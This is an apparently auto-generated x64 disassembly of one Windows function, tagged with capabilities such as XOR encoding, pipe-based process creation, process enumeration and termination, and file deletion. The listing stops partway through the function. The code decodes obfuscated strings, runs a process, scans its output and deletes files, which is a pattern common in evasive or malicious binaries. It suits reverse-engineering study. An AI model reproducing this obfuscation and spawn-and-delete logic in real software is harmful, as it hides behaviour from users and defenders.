Function at 0x140090410
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Delete file
Encode data using xor
Enumerate processes
Read file on windows
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x7e8]
sub rsp, 0x8c0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
mov rax, qword [0x140164240]
xor rax, rsp
mov qword [rbp + 0x740], rax
xor r13d, r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x348], xmm0
mov qword [rbp + 0x358], rax
mov eax, dword [0x14011854c]
mov dword [rsp + 0x50], eax
movzx ecx, word [0x140118550]
mov word [rsp + 0x54], cx
movzx eax, byte [0x140118552]
mov byte [rsp + 0x50], 0x36
xor byte [rsp + 0x51], 0x33
xor byte [rsp + 0x52], 0x34
xor byte [rsp + 0x53], 0x35
xor cl, 0x36
mov byte [rsp + 0x54], cl
xor byte [rsp + 0x55], 0x37
xor al, 0x38
mov byte [rsp + 0x56], al
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x1400904e0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400853d0
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x348]
lea rcx, [0x14016ba00]
call fcn.1400acdc0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x380]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140118558]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140118568]
movsd qword [rbp - 0x48], xmm0
mov eax, dword [0x140118570]
mov dword [rbp - 0x40], eax
movzx eax, byte [0x140118574]
mov byte [rbp - 0x3c], al
mov r8d, r13d
movdqa xmm8, xmmword [0x140118aa0]
movdqa xmm7, xmmword [0x1401179e0]
movdqa xmm10, xmmword [0x140118ab0]
movdqa xmm9, xmmword [0x140118a90]
movdqa xmm6, xmmword [0x140118b70]
mov r12d, dword [0x140164298]
cmp r12d, 2
jl 0x14009068b
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp - 0x54]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400905a0
cmp r8d, 0x1d
jge 0x1400906d0
movsxd rax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400906a0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x22
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x380]
call fcn.140086f00
nop
mov r8, qword [rbp + 0x350]
mov rdx, qword [rbp + 0x348]
sub r8, rdx
lea rcx, [rbp + 0x380]
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x388]
call fcn.14008a710
test rax, rax
jne 0x140090747
mov rax, qword [rbp + 0x380]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x380]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov eax, dword [0x140118578]
mov dword [rsp + 0x50], eax
cmp byte [0x14011857b], 0
je 0x140090800
cmp r12d, 2
jl 0x1400907c2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x50], xmm1
jmp 0x140090800
lea r9, [rsp + 0x50]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400907d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140090820
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400853d0
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x308]
lea rcx, [0x14016ba00]
call fcn.1400b9a40
nop
mov r14, qword [rbp + 0x318]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0x17
jb 0x1400925d7
lea r15, [rbp + 0x308]
cmp qword [rbp + 0x320], 0xf
cmova r15, qword [rbp + 0x308]
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x370], xmm1
lea rsi, [r14 + 0x17]
mov edi, 0xf
lea rbx, [rbp + 0x360]
mov eax, 0x16
cmp rsi, rdi
jbe 0x140090931
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x1400908f5
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14010c9ac
test rax, rax
je 0x1400924be
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14009092a
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14009090a
mov rbx, r13
jmp 0x14009092a
cmp rcx, 0x1000
jb 0x140090922
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400925d1
jmp 0x1400908d6
call fcn.14010c9ac
mov rbx, rax
mov qword [rbp + 0x360], rbx
mov qword [rbp + 0x370], rsi
mov qword [rbp + 0x378], rdi
movups xmm0, xmmword [0x1401186c0]
movups xmmword [rbx], xmm0
mov ecx, dword [0x1401186d0]
mov dword [rbx + 0x10], ecx
movzx eax, word [0x1401186d4]
mov word [rbx + 0x14], ax
movzx eax, byte [0x1401186d6]
mov byte [rbx + 0x16], al
lea rcx, [rbx + 0x17]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy_1
mov byte [rbx + rsi], 0
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x328]
call fcn.140087010
nop
mov dword [rbp + 0x38], 0x18
mov dword [rbp + 0x48], 1
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], r13
xor r9d, r9d
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x28]
call qword [sym.imp.kernel32.dll_CreatePipe]
test eax, eax
jne 0x140090ba5
mov rdx, qword [rbp + 0x340]
cmp rdx, 0xf
jbe 0x140090a06
mov rcx, qword [rbp + 0x328]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140090a01
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140092439
call fcn.14010c1ec
movdqa xmm0, xmmword [0x140118a70]
movdqu xmmword [rbp + 0x338], xmm0
mov byte [rbp + 0x328], 0
mov rdx, qword [rbp + 0x378]
cmp rdx, 0xf
jbe 0x140090a5f
mov rcx, qword [rbp + 0x360]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140090a59
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400924be
call fcn.14010c1ec
nop
mov rdx, qword [rbp + 0x320]
cmp rdx, 0xf
jbe 0x140090aa0
inc rdx
mov rcx, qword [rbp + 0x308]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140090a9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140092503
call fcn.14010c1ec
mov qword [rbp + 0x318], r13
mov qword [rbp + 0x320], 0xf
mov byte [rbp + 0x308], 0
mov rax, qword [rbp + 0x380]
movsxd rcx, dword [rax + 4]
lea rax, [0x140118428]
mov qword [rbp + rcx + 0x380], rax
mov rax, qword [rbp + 0x380]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x37c], edx
lea rcx, [rbp + 0x388]
call fcn.1400879c0
lea rcx, [rbp + 0x390]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x428]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp + 0x348]
test rcx, rcx
je 0x140090b52
mov rdx, qword [rbp + 0x358]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140090b4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400925c4
call fcn.14010c1ec
mov rcx, qword [rbp + 0x740]
xor rcx, rsp
call fcn.14010c660
lea r11, [rsp + 0x8c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.kernel32.dll_SetHandleInformation]
test eax, eax
je 0x1400909c5
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
mov dword [rbp + 0x50], 0x68
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb0], rax
mov word [rbp + 0x90], r13w
mov dword [rbp + 0x8c], 0x101
lea r8, [rbp + 0x328]
cmp qword [rbp + 0x340], 0xf
cmova r8, qword [rbp + 0x328]
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x530]
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
mov r9d, 0xffffffff
call qword [sym.imp.kernel32.dll_MultiByteToWideChar]
lea rax, [rbp + 0x490]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x530]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
je 0x1400909c5
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov dword [rbp + 0x300], r13d
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x300]
mov r8d, 0x7f
lea rdx, [rbp + 0x4b0]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x1400923f6
movdqa xmm12, xmmword [0x140118a80]
movss xmm11, dword [0x140113d3c]
mov eax, dword [rbp + 0x300]
test eax, eax
je 0x1400923f6
cmp rax, 0x80
jae 0x1400925cb
mov byte [rbp + rax + 0x4b0], 0
movups xmm0, xmmword [0x140118580]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140118590]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1401185a0]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x1401185b0]
mov dword [rbp - 0x60], eax
mov r8d, r13d
cmp r12d, 2
jl 0x140090e3b
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140090d50
cmp r8d, 0x34
jge 0x140090e80
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x140090e50
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x4b0]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x1400910ff
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov r8d, 0x27
lea rdx, [0x1401186d8]
lea rcx, [rsp + 0x50]
call fcn.1400853d0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
mov r8d, 6
lea rdx, [0x140118700]
lea rcx, [rbp - 0x58]
call fcn.1400853d0
nop
xor r9d, r9d
movaps xmm2, xmm11
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x58]
call fcn.140089c70
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140090f3c
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140090f36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140092440
call fcn.14010c1ec
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140090f79
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140090f74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009245c
call fcn.14010c1ec
mov eax, dword [0x1401185c0]
mov dword [rbp - 0x30], eax
movzx eax, byte [0x1401185c4]
movsd xmm0, qword [0x1401185b8]
mov byte [rbp - 0x2c], al
movsd qword [rbp - 0x38], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x140091077
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1401185b8]
xorps xmm1, xmm0
movd dword [rbp - 0x38], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x34]
xorps xmm2, xmm1
movd dword [rbp - 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x38]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140091090
lea rcx, [rbp - 0x38]
call qword [sym.imp.ucrtbase.dll_remove]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rax, [rbp + 0x4b0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400910f0
jmp 0x14009239a
movups xmm0, xmmword [0x1401185c8]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1401185d8]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1401185e8]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x1401185f8]
mov dword [rbp - 0x60], eax
mov r8d, r13d
cmp r12d, 2
jl 0x14009123b
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140091150
cmp r8d, 0x34
jge 0x140091280
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x140091250
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x4b0]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x1400914ff
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov r8d, 0x17
lea rdx, [0x140118708]
lea rcx, [rsp + 0x50]
call fcn.1400853d0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
mov r8d, 6
lea rdx, [0x140118700]
lea rcx, [rbp - 0x58]
call fcn.1400853d0
nop
xor r9d, r9d
movaps xmm2, xmm11
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x58]
call fcn.140089c70
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14009133c
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140091336
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140092447
call fcn.14010c1ec
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140091379
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140091374
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009245c
call fcn.14010c1ec
mov eax, dword [0x140118608]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x14011860c]
movsd xmm0, qword [0x140118600]
mov byte [rbp - 0x1c], al
movsd qword [rbp - 0x28], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x140091477
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140118600]
xorps xmm1, xmm0
movd dword [rbp - 0x28], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x24]
xorps xmm2, xmm1
movd dword [rbp - 0x24], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140091490
lea rcx, [rbp - 0x28]
call qword [sym.imp.ucrtbase.dll_remove]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rax, [rbp + 0x4b0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400914f0
jmp 0x14009239a
movups xmm0, xmmword [0x140118610]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140118620]
movups xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [0x140118630]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140118638]
mov dword [rbp - 0x68], eax
mov r8d, r13d
cmp r12d, 2
jl 0x14009163b
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140091550
cmp r8d, 0x2c
jge 0x140091680
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140091650
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x4b0]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x1400918ff
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov r8d, 0x16
lea rdx, [0x140118720]
lea rcx, [rsp + 0x50]
call fcn.1400853d0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
